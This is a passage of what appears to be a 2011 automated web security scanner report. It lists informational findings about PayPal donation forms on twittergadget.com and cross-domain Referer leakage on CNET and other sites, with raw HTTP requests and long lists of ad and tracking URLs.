User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11.29. https://www.twittergadget.com/donate.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/donate.html

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.html HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:20:04 GMT
Server: Apache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13938

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
<td align=left valign=middle>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post" target="_blank" style="margin:0px; padding:0px;">
<input type="hidden" name="cmd" value="_xclick">
...[SNIP]...

11.30. https://www.twittergadget.com/donate.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/donate.html

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.html HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11.31. https://www.twittergadget.com/donate.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/donate.html

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.html HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11.32. https://www.twittergadget.com/donate.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/donate.html

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.html HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11.33. https://www.twittergadget.com/donate.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/donate.html

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.html HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11.34. https://www.twittergadget.com/donate.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/donate.php

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:20:02 GMT
Server: Apache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13938

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
<td align=left valign=middle>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post" target="_blank" style="margin:0px; padding:0px;">
<input type="hidden" name="cmd" value="_xclick">
...[SNIP]...

11.35. https://www.twittergadget.com/donate.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/donate.php

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11.36. https://www.twittergadget.com/donate.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/donate.php

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11.37. https://www.twittergadget.com/donate.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/donate.php

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11.38. https://www.twittergadget.com/donate.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/donate.php

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_name
item_number
amount
no_shipping
no_note
currency_code
lc
bn
submit

Request

GET /donate.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

12. Cross-domain Referer leakage previous next
There are 50 instances of this issue:

http://www.cnet.com/
http://www.cnet.com/8799-4_1-0.html
http://www.cnet.com/internet-security/
http://www.coldspringframework.org/coldspring/examples/quickstart/index.cfm
http://www.connect.facebook.com/widgets/fan.php
https://www.createspace.com/Special/HeaderAnnouncement.jsp
https://www.createspace.com/Workflow/cart.do
https://www.credit-suisse.com/who_we_are/en/office_locator.jsp
http://www.csam-europe.com/chinst/mutual/en/default.asp
https://www.cyscape.com/images/common/episodes.gif%22
http://www.dinclinx.com/
http://www.facebook.com/connect/connect.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/recommendations.php
http://www.flickr.com/badge_code_v2.gne
http://www.flickr.com/badge_code_v2.gne
http://www.genuinewin7.com/about-win7.aspx
http://www.genuinewin7.com/genuine-sharing.aspx
http://www.genuinewin7.com/purchase.aspx
http://www.genuinewin7.com/safety.aspx
http://www.google.com/ig/adde
http://www.google.com/search
http://www.google.com/url
http://www.idg.com/idgnetrssfeeds.nsf/html
http://www.idg.com/www/homenew.nsf/home
http://www.ilovefreesoftware.com/wp-content/plugins/wp-secure-by-sitesecuritymonitorcom/css/removenotice.css
http://www.itworld.com/sites/all/themes/itworld/js/itw_script.js
http://www.law.com/jsp/lawtechnologynews/index.jsp
https://www.merchantlink.com/logon/log_log_page.jsp
http://www.pedigolaw.com/wp-content/themes/infocus/lib/scripts/prettyPhoto/js/jquery.prettyPhoto.js
http://www.reddit.com/static/button/button1.html
http://www.reddit.com/static/button/button2.html
http://www.simplyhired.com/a/accounts/login
http://www.simplyhired.com/a/job-widget/list/q-CIO%20OR%20%22Chief%20Information%20Officer%22/l-%20/ws-5
http://www.simplyhired.com/a/job-widget/list/q-onet%3A(15-1*)%20OR%20onet%3A(17-2*)%20OR%20onet%3A(11-3*)%20OR%20technology%20OR%20%C3%A2%C2%80%C2%9Cdata%20architect%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Csoftware%20engineer%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Ccomputer%20technician%C3%A2%C2%80%C2%9D%20OR%20%C3%A2%C2%80%C2%9Ccto%C3%A2%C2%80%C2%9D/l-%20/ws-5
http://www.simplyhired.com/a/job-widget/list/q-title%3AIT%20or%20%22Information%20Technology%22/l-%20/ws-5
http://www.spro.com/Default.asp
http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/external.js
http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/jquery.cycle.js
http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/slideshow.js
http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/suckerfish-cat.js
http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/suckerfish.js
https://www.twittergadget.com/gadget.asp

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

12.1. http://www.cnet.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.cnet.com/?tag=hdr

The response contains the following links to other domains:

http://ad.doubleclick.net/ad/N2949.CNET/B5805422.5;sz=300x250;ord=2011.09.19.19.28.09?
http://ad.doubleclick.net/adj/N2949.CNET/B5805422.5;sz=300x250;click0=http://adlog.com.com/adlog/e/r=8801&sg=540391&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e18:4E77921F7C2CD&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09&event=58/;ord=2011.09.19.19.28.09?
http://add.my.yahoo.com/rss?url=http://posidn-api.cnet.com/rest/v1.0/resource/cnetRiverATOM
http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501223&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http:/reviews.cnet.com/showcase/samsung-televisions
http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501277&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http:/reviews.cnet.com/intel/
http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19391&sg=491544&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http:/www.cbsinteractive.com/adfeedback/?REDIRECT=TRUE&RGROUP=19391&SEGMENTID=491544&LINEID=400842&SP=255&ADVERTISERID=
http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494301&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http:/reviews.cnet.com/showcase/Samsung-notebooks/
http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494308&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http:/reviews.cnet.com/showcase/Verizon-phones/
http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494314&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http:/reviews.cnet.com/intel/
http://adlog.com.com/adlog/c/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=499490&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=TneXyQoOYJUAAHySGGkAAAAF/http:/reviews.cnet.com/showcase/Sprint
http://adlog.com.com/adlog/e/r=8801&sg=540391&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e18:4E77921F7C2CD&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50.23.123.106&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09&event=58/http:/ad.doubleclick.net/jump/N2949.CNET/B5805422.5;sz=300x250;ord=2011.09.19.19.28.09?
http://adlog.com.com/adlog/e/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501223&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=TneXyQoOYJUAAHySGGkAAAAF&event=10/http:/reviews.cnet.com/2703-3121_7-507-5.html?key=samsung_notebook
http://adlog.com.com/adlog/e/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501223&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=TneXyQoOYJUAAHySGGkAAAAF&event=11/http:/reviews.cnet.com/showcase/Samsung-monitors-and-printers/
http://adlog.com.com/adlog/e/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501223&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=TneXyQoOYJUAAHySGGkAAAAF&event=12/http:/reviews.cnet.com/showcase/samsung-cameras-and-camcorders
http://adlog.com.com/adlog/e/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501223&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=TneXyQoOYJUAAHySGGkAAAAF&event=7/http:/reviews.cnet.com/showcase/samsung-televisions
http://adlog.com.com/adlog/e/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501223&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=TneXyQoOYJUAAHySGGkAAAAF&event=8/http:/reviews.cnet.com/showcase/Samsung-mobilephones/
http://adlog.com.com/adlog/e/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501223&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=TneXyQoOYJUAAHySGGkAAAAF&event=9/http:/reviews.cnet.com/showcase/Samsung-bluray-and-home-theater/
http://adlog.com.com/adlog/i/r=12790&sg=1815&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=300&e=3&rqid=01phx1-ad-e19:4E778B17121614&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50.23.123.106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/r=18747&sg=1815&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=01phx1-ad-e21:4E7792C06DAF5&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50.23.123.106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/r=18876&sg=1815&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=01phx1-ad-e21:4E7792C06DAEE&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50.23.123.106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/r=18911&sg=1815&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F386A&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50.23.123.106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/r=19386&sg=1815&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=400&e=3&rqid=01phx1-ad-e19:4E778B1712162E&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50.23.123.106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/r=20298&sg=1815&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B420F&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50.23.123.106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/r=7752&sg=1815&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e18:4E77921F7C2BF&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50.23.123.106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/r=8801&sg=540391&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e18:4E77921F7C2CD&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50.23.123.106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501223&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=TneXyQoOYJUAAHySGGkAAAAF/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/t=2011.09.19.19.28.09&x-fid=1&r=19620&sg=501277&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=TneXyQoOYJUAAHySGGkAAAAF/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/t=2011.09.19.19.28.09&x-fid=1&r=19621&sg=501300&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F3880&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=TneXyQoOYJUAAHySGGkAAAAF/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/t=2011.09.19.19.28.09&x-fid=15&r=19391&sg=491544&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=TneXyQoOYJUAAHySGGkAAAAF/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494301&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=TneXyQoOYJUAAHySGGkAAAAF/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494308&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=TneXyQoOYJUAAHySGGkAAAAF/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=494314&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=TneXyQoOYJUAAHySGGkAAAAF/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://adlog.com.com/adlog/i/t=2011.09.19.19.28.09&x-fid=15&r=19392&sg=499490&o=1%3a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B421E&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%5fversion%3d2008&ucat_rsi=%26&pg=TneXyQoOYJUAAHySGGkAAAAF/http:/i.i.com.com/cnwk.1d/Ads/common/dotclear.gif
http://b.scorecardresearch.com/b?c1=2&c2=3000023&c3=&c4=&c5=&c6=&c15=&cv=1.3&cj=1
http://b.scorecardresearch.com/beacon.js
http://cbsiprivacy.custhelp.com/app/answers/detail/a_id/1272/
http://cnet.custhelp.com/
http://dw.com.com/clear/c.gif?ts=1316460489&im=mii1.4&edId=3&ptId=2000&onId=1&sId=1&asId=0&astId=1&pgnbr=1&oid=2000-1_1-0&pguid=TneXyQoOYJUAAHySGGkAAAAF&ld=www.cnet.com&clgf=Cg5iUk48EJ/sAAAAd0Q&tcset=ISO-8859-1&title=Product%20reviews%20and%20prices,%20software%20downloads,%20and%20tech%20news%20-%20CNET&srcUrl=http://www.cnet.com/?tag%3Dhdr&x_breadcrumb=1&xref=http://download.cnet.com/windows/
http://dw.com.com/js/dw.js
http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealsasusmedia091911fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,500213,1749697,eref=cnet-fd
http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealsdellinsp14rlaptop091611fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,500805,1752247,eref=cnet-fd
http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealslenovoz560pc091811fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,501418,1754808,eref=cnet-fd
